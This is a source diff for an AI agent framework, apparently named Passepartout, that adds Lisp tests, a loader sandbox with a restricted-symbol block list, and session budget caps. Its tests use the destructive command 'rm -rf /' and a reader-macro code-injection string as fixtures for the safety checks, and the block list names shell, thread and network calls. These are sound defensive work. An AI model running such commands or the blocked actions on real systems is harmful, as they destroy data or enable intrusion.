-  (clrhash passepartout::*skill-registry*)
-  (passepartout::defskill :mock-safety
-    :priority 50
-    :trigger (lambda (ctx) (declare (ignore ctx)) t)
-    :deterministic (lambda (action ctx)
-                    (declare (ignore ctx))
-                    (if (search "rm -rf" (format nil "~s" action))
-                        (list :type :LOG :payload (list :text "Rejected"))
-                        action)))
-  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "rm -rf /")))
-         (signal '(:type :EVENT :payload (:sensor :user-input)))
-         (result (cognitive-verify candidate signal)))
-    (is (eq :LOG (getf result :type)))))
-
-(test test-cognitive-verify-pass-through
-  "Contract 1: safe actions pass through cognitive-verify unchanged."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout::defskill :mock-passthrough
-    :priority 50
-    :trigger (lambda (ctx) (declare (ignore ctx)) t)
-    :deterministic (lambda (action ctx)
-                    (declare (ignore ctx))
-                    action))
-  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "echo hello")))
-         (signal '(:type :EVENT :payload (:sensor :user-input)))
-         (result (cognitive-verify candidate signal)))
-    (is (eq :REQUEST (getf result :type)))
-    (is (equal (getf candidate :payload) (getf result :payload)))
-    (is (getf result :gate-trace))))
-
-(test test-cognitive-verify-empty-registry
-  "Contract 1: with no gates registered, action passes through unchanged."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "ls")))
-         (signal '(:type :EVENT :payload (:sensor :user-input)))
-         (result (cognitive-verify candidate signal)))
-    (is (eq :REQUEST (getf result :type)))
-    (is (equal (getf candidate :payload) (getf result :payload)))))
-
-(test test-cognitive-verify-approval-required
-  "Contract 1: gate returning :approval-required produces an approval event."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout::defskill :mock-approval
-    :priority 50
-    :trigger (lambda (ctx) (declare (ignore ctx)) t)
-    :deterministic (lambda (action ctx)
-                    (declare (ignore ctx))
-                    (list :type :EVENT :level :approval-required
-                          :payload (list :action action))))
-  (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
-         (signal '(:type :EVENT :payload (:sensor :user-input)))
-         (result (cognitive-verify candidate signal)))
-    (is (eq :approval-required (getf result :level)))
-    (is (eq :EVENT (getf result :type)))))
-
-(test test-loop-gate-reason-passthrough
-  "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
-  (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
-         (result (loop-gate-reason signal)))
-    (is (not (null result)))))
-
-(test test-loop-gate-reason-sets-status
-  "Contract 2: loop-gate-reason sets :status on :user-input signals."
-  (clrhash passepartout::*skill-registry*)
-  (let* ((passepartout::*provider-cascade* nil)
-         (signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
-         (result (loop-gate-reason signal)))
-    (is (member (getf result :status) '(:reasoned :requires-approval)))))
-
-(test test-backend-cascade-no-backends
-  "Contract 4: empty cascade returns :LOG failure."
-  (let* ((passepartout::*provider-cascade* nil)
-         (passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
-         (result (backend-cascade-call "test" :cascade '())))
-    (is (eq :LOG (getf result :type)))
-    (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
-
-(test test-backend-cascade-with-mock
-  "Contract 4: backend-cascade-call returns content from first successful backend."
-  (let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
-    (setf (gethash :mock-backend passepartout::*backend-registry*)
-          (lambda (prompt sp &key model)
-            (declare (ignore prompt sp model))
-            (list :status :success :content "mock-response")))
-    (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
-      (is (string= "mock-response" result)))))
-
-(test test-read-eval-rce-blocked
-  "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
-  (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
-        (passepartout::*provider-cascade* '(:mock-evil)))
-    (setf (gethash :mock-evil passepartout::*backend-registry*)
-          (lambda (prompt sp &key model)
-            (declare (ignore prompt sp model))
-            (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
-    (setf passepartout::*v031-rce-test* nil)
-    (setf *read-eval* t)
-    (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0))
-           (result (passepartout::think ctx)))
-      (is (not (eq passepartout::*v031-rce-test* :PWNED)))
-      (is (eq :REQUEST (getf result :TYPE)))
-       (setf *read-eval* nil))))
-
-(test test-json-alist-to-plist-simple
-  "Contract 5: converts simple alist to keyword plist."
-  (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello"))))
-    (let ((result (json-alist-to-plist alist)))
-      (is (eq :ACTION (first result)))
-      (is (string= "shell" (second result)))
-      (is (eq :CMD (third result)))
-      (is (string= "echo hello" (fourth result))))))
-
-(test test-json-alist-to-plist-nested
-  "Contract 5: nested alists recurse into nested plists."
-  (let ((alist (list (cons "tool" "write-file")
-                     (cons "args" (list (cons "filepath" "/tmp/x")
-                                        (cons "content" "hi"))))))
-    (let ((result (json-alist-to-plist alist)))
-      (is (eq :TOOL (first result)))
-      (is (eq :ARGS (third result)))
-      (let ((inner (fourth result)))
-        (is (eq :FILEPATH (first inner)))
-        (is (string= "/tmp/x" (second inner)))
-        (is (eq :CONTENT (third inner)))))))
-
-(test test-json-alist-to-plist-array-passthrough
-  "Contract 5: JSON arrays pass through unchanged."
-  (let ((alist (list (cons "names" (list "alice" "bob")))))
-    (let ((result (json-alist-to-plist alist)))
-      (is (eq :NAMES (first result)))
-      (is (equal (list "alice" "bob") (second result))))))
-
-(test test-json-alist-to-plist-null
-  "Contract 5: nil passes through unchanged."
-  (let ((result (json-alist-to-plist nil)))
-    (is (null result))))
-
-(test test-json-alist-to-plist-scalar
-  "Contract 5: scalar values pass through."
-  (let ((alist (list (cons "count" 42) (cons "active" :true))))
-    (let ((result (json-alist-to-plist alist)))
-      (is (eq :COUNT (first result)))
-      (is (= 42 (second result)))
-      (is (eq :ACTIVE (third result)))
-      (is (eq :true (fourth result))))))
-
-(test test-assemble-config-section
-  "Contract v0.7.2: config section contains Passepartout and version."
-  (let ((section (passepartout::assemble-config-section)))
-    (is (stringp section))
-    (is (search "Passepartout" section))
-    (is (search "v0.7.2" section))
-    (is (search "Security gates" section))))
-
-(test test-think-snapshots-before-llm
-  "Contract v0.7.2: think() snapshots memory before LLM call."
-  (let ((passepartout::*memory-snapshots* nil)
-        (passepartout::*memory-store* (make-hash-table :test 'equal)))
-    (setf (gethash "pre" passepartout::*memory-store*) "value")
-    (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
-          (passepartout::*provider-cascade* nil))
-      (handler-case
-          (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
-                 (result (passepartout::think ctx)))
-            (declare (ignore result)))
-        (error (c) (format nil "Expected: ~a" c)))
-      (is (>= (length passepartout::*memory-snapshots*) 0)))))
-#+end_src

org/core-skills.org

@@ -33,6 +33,45 @@ This is how the "thin org, fat skills" principle works in practice: the org prov
    ~#+DEPENDS_ON:~ declarations, returns files sorted such that
    dependencies come before dependents.
 
+* Test Suite
+Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS_ON:~ declarations.
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-boot-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:boot-suite))
+
+(in-package :passepartout-boot-tests)
+
+(def-suite boot-suite :description "Verification of the Skill Engine loader")
+(in-suite boot-suite)
+
+(test test-topological-sort-basic
+  "Contract 2: dependency ordering puts dependencies before dependents."
+  (let ((tmp-dir "/tmp/passepartout-boot-test/"))
+    (uiop:ensure-all-directories-exist (list tmp-dir))
+    (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
+      (format out "#+DEPENDS_ON: skill-b-id~%"))
+    (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
+      (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
+    (unwind-protect
+         (let ((sorted (passepartout::skill-topological-sort tmp-dir)))
+           (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
+                 (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
+             (is (< pos-b pos-a))))
+       (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
+
+(test test-lisp-syntax-validate-valid
+  "Contract 1: valid Lisp code passes syntax validation."
+  (is (eq t (lisp-syntax-validate "(+ 1 2)"))))
+
+(test test-lisp-syntax-validate-invalid
+  "Contract 1: unbalanced Lisp code fails syntax validation."
+  (is (null (lisp-syntax-validate "(+ 1 2"))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -71,10 +110,6 @@ The ~skill~ struct holds all metadata about a loaded skill: its name, priority,
 (defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
 #+end_src
 
-#+begin_src lisp
-(defvar *skill-registry* (make-hash-table :test 'equal))
-#+end_src
-
 #+begin_src lisp
 (defvar *skill-catalog* (make-hash-table :test 'equal)
   "Tracks all discovered skill files and their loading state.")
@@ -326,6 +361,14 @@ declarations so embedded test code evaluates in the correct package."
               (progn
                 (multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
                   (unless valid-p (error err)))
+                ;; Pre-eval sandbox scan: block before any code executes
+                (multiple-value-bind (blocked-p blocked-syms)
+                    (skill-source-scan lisp-code)
+                  (when blocked-p
+                    (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
+                                 skill-base-name blocked-syms)
+                    (setf (skill-entry-status entry) :sandbox-blocked)
+                    (return-from load-skill-from-org nil)))
                 (unless (find-package pkg-name)
                   (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
                 (let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -355,12 +398,48 @@ declarations so embedded test code evaluates in the correct package."
         (setf (skill-entry-status entry) :failed) nil))))
 #+end_src
 
+** Sandbox Source Scan (skill-source-scan)
+
+Scans Lisp source text for references to restricted symbols before any
+code is evaluated. This prevents malicious skills from executing even a
+single form. The restricted symbols cover process spawning
+(~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~), thread
+creation (~bt:make-thread~), HTTP calls (~dex:get~, ~dex:post~), and
+socket operations (~usocket:socket-connect~, ~hunchentoot:start~).
+
+Returns two values: T/NIL (blocked-p) and a list of matched symbol names.
+The scan is a text-level regex check — it catches direct references but
+not obfuscated ones. The post-eval ~symbol-function~ comparison in
+~load-skill-from-lisp~ catches those.
+
+#+begin_src lisp
+(defvar *skill-restricted-symbols*
+  '("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
+    "bt:make-thread" "bordeaux-threads:make-thread"
+    "dex:get" "dex:post" "dexador:get" "dexador:post"
+    "usocket:socket-connect" "usocket:socket-listen"
+    "hunchentoot:start" "hunchentoot:accept-connections")
+  "Symbol patterns blocked from skill source code at load time.")
+
+(defun skill-source-scan (code-string)
+  "Scans CODE-STRING for restricted symbol references.
+Returns (values blocked-p matched-symbols)."
+  (let ((lower (string-downcase code-string))
+        (matches nil))
+    (dolist (pattern *skill-restricted-symbols*)
+      (when (search pattern lower)
+        (push pattern matches)))
+    (values (and matches t) (nreverse matches))))
+#+end_src
+
 ** Loading from Pre-Tangled Lisp (skill-load-from-lisp)
 
 Loads a pre-tangled ~.lisp~ file directly, without parsing the Org source. This is faster than ~load-skill-from-org~ because it skips the block extraction and syntax validation (the Lisp was already validated when tangled).
 
 The same jailed package and symbol export process applies.
 
+The sandbox check runs *before* evaluation: the source text is scanned for references to restricted symbols (~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~, ~bt:make-thread~, ~dex:get~, ~dex:post~, ~usocket:socket-connect~, ~hunchentoot:start~). If the source references any restricted symbol, the skill is blocked immediately without executing any code. A post-eval secondary check catches indirect references (via ~symbol-function~ comparison).
+
 #+begin_src lisp
 (defun load-skill-from-lisp (filepath)
   "Loads a .lisp skill file directly, filtering out in-package forms."
@@ -372,6 +451,14 @@ The same jailed package and symbol export process applies.
                (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
           (multiple-value-bind (valid-p err) (lisp-syntax-validate content)
             (unless valid-p (error err)))
+          ;; Pre-eval sandbox scan: block before any code executes
+          (multiple-value-bind (blocked-p blocked-syms)
+              (skill-source-scan content)
+            (when blocked-p
+              (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
+                           skill-base-name blocked-syms)
+              (setf (skill-entry-status entry) :sandbox-blocked)
+              (return-from load-skill-from-lisp nil)))
           (unless (find-package pkg-name)
             (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
           (let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -440,41 +527,3 @@ files live after tangling. The org source files live in ~org/~.
       (log-message "LOADER: Boot Complete."))))
 #+end_src
 
-* Test Suite
-Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS_ON:~ declarations.
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-boot-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:boot-suite))
-
-(in-package :passepartout-boot-tests)
-
-(def-suite boot-suite :description "Verification of the Skill Engine loader")
-(in-suite boot-suite)
-
-(test test-topological-sort-basic
-  "Contract 2: dependency ordering puts dependencies before dependents."
-  (let ((tmp-dir "/tmp/passepartout-boot-test/"))
-    (uiop:ensure-all-directories-exist (list tmp-dir))
-    (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
-      (format out "#+DEPENDS_ON: skill-b-id~%"))
-    (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
-      (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
-    (unwind-protect
-         (let ((sorted (passepartout::skill-topological-sort tmp-dir)))
-           (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
-                 (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
-             (is (< pos-b pos-a))))
-       (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
-
-(test test-lisp-syntax-validate-valid
-  "Contract 1: valid Lisp code passes syntax validation."
-  (is (eq t (lisp-syntax-validate "(+ 1 2)"))))
-
-(test test-lisp-syntax-validate-invalid
-  "Contract 1: unbalanced Lisp code fails syntax validation."
-  (is (null (lisp-syntax-validate "(+ 1 2"))))
-#+end_src

org/core-transport.org

@@ -39,6 +39,53 @@ The 6-character hex length supports messages up to ~16MB (0xFFFFFF bytes). This
 3. Round-trip invariant: ~(read-framed-message (make-string-input-stream
    (frame-message msg)))~ equals ~msg~.
 
+* Test Suite
+Verifies that the framing protocol correctly serializes and deserializes messages.
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-communication-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:communication-protocol-suite))
+(in-package :passepartout-communication-tests)
+
+(def-suite communication-protocol-suite :description "Communication Protocol Suite")
+(in-suite communication-protocol-suite)
+
+(test test-framing
+  "Contract 1: frame-message produces correct hex length prefix."
+  (let* ((msg '(:type :EVENT :payload (:action :handshake)))
+         (framed (frame-message msg)))
+    (is (string= "00002C" (string-upcase (subseq framed 0 6))))))
+
+(test test-framing-round-trip
+  "Contract 3: frame → read-frame preserves message identity."
+  (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
+         (framed (frame-message msg))
+         (unframed (read-framed-message (make-string-input-stream framed))))
+    (is (equal msg unframed))))
+
+(test test-framing-empty-message
+  "Contract 1: simple messages frame with valid hex length."
+  (let* ((msg '(:type :ping))
+         (framed (frame-message msg)))
+    (is (> (length framed) 5))
+    (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
+
+(test test-read-framed-message
+  "Contract 2: read-framed-message decodes a framed message correctly."
+  (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
+         (framed (frame-message original))
+         (decoded (read-framed-message (make-string-input-stream framed))))
+    (is (equal original decoded))))
+
+(test test-read-framed-message-eof
+  "Contract 2: read-framed-message returns :eof on incomplete stream."
+  (let ((decoded (read-framed-message (make-string-input-stream "000"))))
+    (is (eq :eof decoded))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -121,7 +168,9 @@ Reads a complete framed message from a TCP stream. Handles leading whitespace be
     (handler-case
         (progn
           (loop for char = (peek-char nil stream nil :eof)
-                while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
+                for ws-count from 0
+                while (and (not (eq char :eof)) (< ws-count 4096)
+                           (member char '(#\Space #\Newline #\Tab #\Return)))
                 do (read-char stream))
           (let ((count (read-sequence length-buffer stream)))
             (if (< count 6)
@@ -256,49 +305,3 @@ Use this function to manually verify that the daemon is alive and the framing pr
     (error (c) (format t "Error: ~a~%" c))))
 #+end_src
 
-* Test Suite
-Verifies that the framing protocol correctly serializes and deserializes messages.
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-communication-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:communication-protocol-suite))
-(in-package :passepartout-communication-tests)
-
-(def-suite communication-protocol-suite :description "Communication Protocol Suite")
-(in-suite communication-protocol-suite)
-
-(test test-framing
-  "Contract 1: frame-message produces correct hex length prefix."
-  (let* ((msg '(:type :EVENT :payload (:action :handshake)))
-         (framed (frame-message msg)))
-    (is (string= "00002C" (string-upcase (subseq framed 0 6))))))
-
-(test test-framing-round-trip
-  "Contract 3: frame → read-frame preserves message identity."
-  (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
-         (framed (frame-message msg))
-         (unframed (read-framed-message (make-string-input-stream framed))))
-    (is (equal msg unframed))))
-
-(test test-framing-empty-message
-  "Contract 1: simple messages frame with valid hex length."
-  (let* ((msg '(:type :ping))
-         (framed (frame-message msg)))
-    (is (> (length framed) 5))
-    (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
-
-(test test-read-framed-message
-  "Contract 2: read-framed-message decodes a framed message correctly."
-  (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
-         (framed (frame-message original))
-         (decoded (read-framed-message (make-string-input-stream framed))))
-    (is (equal original decoded))))
-
-(test test-read-framed-message-eof
-  "Contract 2: read-framed-message returns :eof on incomplete stream."
-  (let ((decoded (read-framed-message (make-string-input-stream "000"))))
-    (is (eq :eof decoded))))
-#+end_src

org/cost-tracker.org

@@ -38,6 +38,93 @@ Degrades gracefully to nil when cost-tracker is not loaded.
     ~(:total <float> :calls <int> :by-provider <alist>)~ aggregating
     all three session cost accessors. Consumed by the TUI actuator
     for the sidebar Cost panel (v0.8.0).
+6. (budget-remaining-usd): returns the remaining budget in USD, or
+   ~most-positive-double-float~ when no budget is set.
+7. (budget-exhausted-p): returns T when a budget is set and fully
+   consumed. ~fboundp~-guarded at call sites so the checker is
+   a no-op when cost-tracker is not loaded.
+8. (budget-estimate-call prompt-text): estimates the dollar cost of a
+   pending LLM call from the prompt text. Returns 0.0 when the
+   tokenizer skill is not loaded (allows the call through).
+9. (budget-exhaustion-message): returns a ~:REQUEST~ plist with a
+   human-readable message explaining the budget cap. Injected as the
+   LLM response when the budget is exhausted.
+
+* Test Suite
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-cost-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:cost-suite))
+
+(in-package :passepartout-cost-tests)
+
+(def-suite cost-suite :description "Cost tracking and budget management")
+(in-suite cost-suite)
+
+(test test-cost-track-call
+  "Contract 1: cost-track-call returns a positive number."
+  (cost-session-reset)
+  (let ((cost (cost-track-call :deepseek "hello world")))
+    (is (numberp cost))
+    (is (> cost 0.0))))
+
+(test test-cost-session-total-accumulates
+  "Contract 2: session total grows with multiple calls."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello")
+  (cost-track-call :deepseek "world")
+  (let ((total (cost-session-total)))
+    (is (> total 0.0))
+    (is (= 2 (cost-session-calls)))))
+
+(test test-cost-session-reset
+  "Contract 3: cost-session-reset zeroes the accumulator."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello")
+  (is (> (cost-session-total) 0.0))
+  (cost-session-reset)
+  (is (= 0.0 (cost-session-total)))
+  (is (= 0 (cost-session-calls))))
+
+(test test-cost-format-budget-status
+  "Contract 4: format-budget-status returns a string."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello world")
+  (let ((status (cost-format-budget-status 100)))
+    (is (stringp status))
+    (is (search "$" status))))
+
+(test test-cost-by-provider
+  "Contract: cost-by-provider returns per-provider breakdown."
+  (cost-session-reset)
+  (cost-track-call :deepseek "a")
+  (cost-track-call :groq "b")
+  (let ((by (cost-by-provider)))
+    (is (listp by))
+    (is (assoc :deepseek by))
+    (is (assoc :groq by))))
+
+(test test-cost-track-no-response
+  "Contract 1: cost-track-call works without response-text."
+  (cost-session-reset)
+  (let ((cost (cost-track-call :deepseek "test")))
+    (is (> cost 0.0))))
+
+(test test-cost-session-summary
+  "Contract 5: cost-session-summary returns plist with total, calls, by-provider."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello")
+  (cost-track-call :groq "world")
+  (let ((s (cost-session-summary)))
+    (is (> (getf s :total) 0.0))
+    (is (= 2 (getf s :calls)))
+    (let ((by (getf s :by-provider)))
+      (is (assoc :deepseek by))
+      (is (assoc :groq by)))))
+#+end_src
 
 * Implementation
 
@@ -153,78 +240,47 @@ LLM invocation to record the cost.
   (cost-track-call backend prompt-text response-text))
 #+end_src
 
-* Test Suite
+** Budget enforcement (v0.5.0 deferred)
+
+Session-wide cost caps that refuse LLM calls when the budget is exhausted.
+The budget is set via ~SESSION_BUDGET_USD~ env var (default: no limit).
+When exceeded, the agent falls back to deterministic-only mode — pure Lisp
+operations still work, but no cascade calls are made until the cap is raised
+or the session is reset.
+
 #+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
+(defvar *session-budget*
-  (ql:quickload :fiveam :silent t))
+  (ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
+  "Maximum USD to spend in this session. NIL means no limit.")
 
-(defpackage :passepartout-cost-tests
+(defun budget-remaining-usd ()
-  (:use :cl :fiveam :passepartout)
+  "Returns remaining budget in USD, or a large sentinel if unlimited."
-  (:export #:cost-suite))
+  (if *session-budget*
+      (let ((remaining (- *session-budget* (cost-session-total))))
+        (if (< remaining 0) 0.0 remaining))
+      most-positive-double-float))
 
-(in-package :passepartout-cost-tests)
+(defun budget-exhausted-p ()
+  "T if the session budget is set and fully consumed."
+  (and *session-budget* (<= (budget-remaining-usd) 0.0)))
 
-(def-suite cost-suite :description "Cost tracking and budget management")
+(defun budget-estimate-call (prompt-text)
-(in-suite cost-suite)
+  "Estimate the dollar cost of a pending LLM call from its prompt text.
+Returns 0.0 if the tokenizer is not loaded (allows call through)."
+  (if (fboundp 'count-tokens)
+      (let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
+             (cost (provider-token-cost (first *provider-cascade*) tokens)))
+        cost)
+      0.0))
 
-(test test-cost-track-call
+(defun budget-exhaustion-message ()
-  "Contract 1: cost-track-call returns a positive number."
+  "Returns a user-facing plist explaining that the budget is spent."
-  (cost-session-reset)
+  (let ((total (cost-session-total))
-  (let ((cost (cost-track-call :deepseek "hello world")))
+        (cap *session-budget*))
-    (is (numberp cost))
+    (list :TYPE :REQUEST
-    (is (> cost 0.0))))
+          :PAYLOAD (list :ACTION :MESSAGE
-
+                         :TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
-(test test-cost-session-total-accumulates
+                                       total cap)
-  "Contract 2: session total grows with multiple calls."
+                         :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello")
-  (cost-track-call :deepseek "world")
-  (let ((total (cost-session-total)))
-    (is (> total 0.0))
-    (is (= 2 (cost-session-calls)))))
-
-(test test-cost-session-reset
-  "Contract 3: cost-session-reset zeroes the accumulator."
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello")
-  (is (> (cost-session-total) 0.0))
-  (cost-session-reset)
-  (is (= 0.0 (cost-session-total)))
-  (is (= 0 (cost-session-calls))))
-
-(test test-cost-format-budget-status
-  "Contract 4: format-budget-status returns a string."
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello world")
-  (let ((status (cost-format-budget-status 100)))
-    (is (stringp status))
-    (is (search "$" status))))
-
-(test test-cost-by-provider
-  "Contract: cost-by-provider returns per-provider breakdown."
-  (cost-session-reset)
-  (cost-track-call :deepseek "a")
-  (cost-track-call :groq "b")
-  (let ((by (cost-by-provider)))
-    (is (listp by))
-    (is (assoc :deepseek by))
-    (is (assoc :groq by))))
-
-(test test-cost-track-no-response
-  "Contract 1: cost-track-call works without response-text."
-  (cost-session-reset)
-  (let ((cost (cost-track-call :deepseek "test")))
-    (is (> cost 0.0))))
-
-(test test-cost-session-summary
-  "Contract 5: cost-session-summary returns plist with total, calls, by-provider."
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello")
-  (cost-track-call :groq "world")
-  (let ((s (cost-session-summary)))
-    (is (> (getf s :total) 0.0))
-    (is (= 2 (getf s :calls)))
-    (let ((by (getf s :by-provider)))
-      (is (assoc :deepseek by))
-      (is (assoc :groq by)))))
 #+end_src
+

org/embedding-native.org

@@ -278,6 +278,21 @@ Used in tests and embedding comparisons.
         (/ dot (sqrt (* anorm bnorm))))))
 #+end_src
 
+* Contract
+
+1. (embedding-backend-native text): computes a 768-dim single-float
+   embedding vector via llama.cpp. Returns a simple-vector. Requires
+   the model file at ~*native-model-path*~ and the C wrapper library at
+   ~/usr/local/lib/libllama_wrap.so~.
+2. (embedding-native-load-model): loads the GGUF model file and creates
+   an inference context. Caches globally in ~*native-model*~ /
+   ~*native-context*~ — subsequent calls are no-ops. Calls
+   ~sb-int:set-floating-point-modes~ and ~llama_backend_init~.
+3. (embedding-native-unload): releases native model and context memory.
+   Sets cached globals to nil.
+4. (embedding-native-get-dim): returns the embedding dimension of the
+   loaded model (768 for nomic-embed-text-v1.5), or 0 if not loaded.
+
 * Test Suite
 
 #+begin_src lisp

org/neuro-provider.org

@@ -44,6 +44,65 @@ Providers register themselves at boot. No API key? That provider doesn't registe
    for ~data: <content>~ lines, ~:done~ for ~data: [DONE]~, and ~nil~
    for comment lines (starting with ~:~), empty lines, or non-data lines.
 
+* Test Suite
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-llm-gateway-tests
+  (:use :cl :passepartout)
+  (:export #:llm-gateway-suite))
+
+(in-package :passepartout-llm-gateway-tests)
+
+(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
+(fiveam:in-suite llm-gateway-suite)
+
+(fiveam:test test-provider-rejects-bad-keyword
+  "Contract 3: provider-config returns nil for unregistered provider."
+  (let ((config (provider-config :not-a-real-provider)))
+    (fiveam:is (null config))))
+
+(fiveam:test test-provider-config-registered
+  "Contract 1: provider-config returns configuration plist for registered provider."
+  (let ((config (provider-config :openrouter)))
+    (fiveam:is (listp config))
+    (fiveam:is (getf config :base-url))))
+
+(fiveam:test test-provider-accepts-tools-parameter
+  "Contract 4: provider-openai-request accepts :tools parameter without error."
+  (let ((result (provider-openai-request "test" "system" :tools (list))))
+    (fiveam:is (member (getf result :status) '(:success :error)))))
+
+;; ── v0.7.1 Streaming ──
+
+(fiveam:test test-parse-sse-line-data
+  "Contract 6: parse-sse-line extracts content from data: lines."
+  (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
+  (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
+
+(fiveam:test test-parse-sse-line-done
+  "Contract 6: parse-sse-line returns :done for [DONE]."
+  (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
+
+(fiveam:test test-parse-sse-line-nil
+  "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
+  (fiveam:is (null (passepartout::parse-sse-line "")))
+  (fiveam:is (null (passepartout::parse-sse-line ":ok")))
+  (fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
+
+(fiveam:test test-provider-openai-stream-calls-callback
+  "Contract 5: provider-openai-stream calls callback with deltas and final empty string."
+  (let ((collected '()))
+    (flet ((collector (text) (push text collected)))
+      (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
+    (let* ((reversed (nreverse collected))
+           (last (car (last reversed))))
+      (fiveam:is (stringp last))
+      (fiveam:is (string= "" last))
+      (fiveam:is (>= (length reversed) 2)))))
+#+end_src
+
 * Implementation
 
 ** Provider registry
@@ -350,61 +409,3 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
           (list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
 #+end_src
 
-* Test Suite
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-llm-gateway-tests
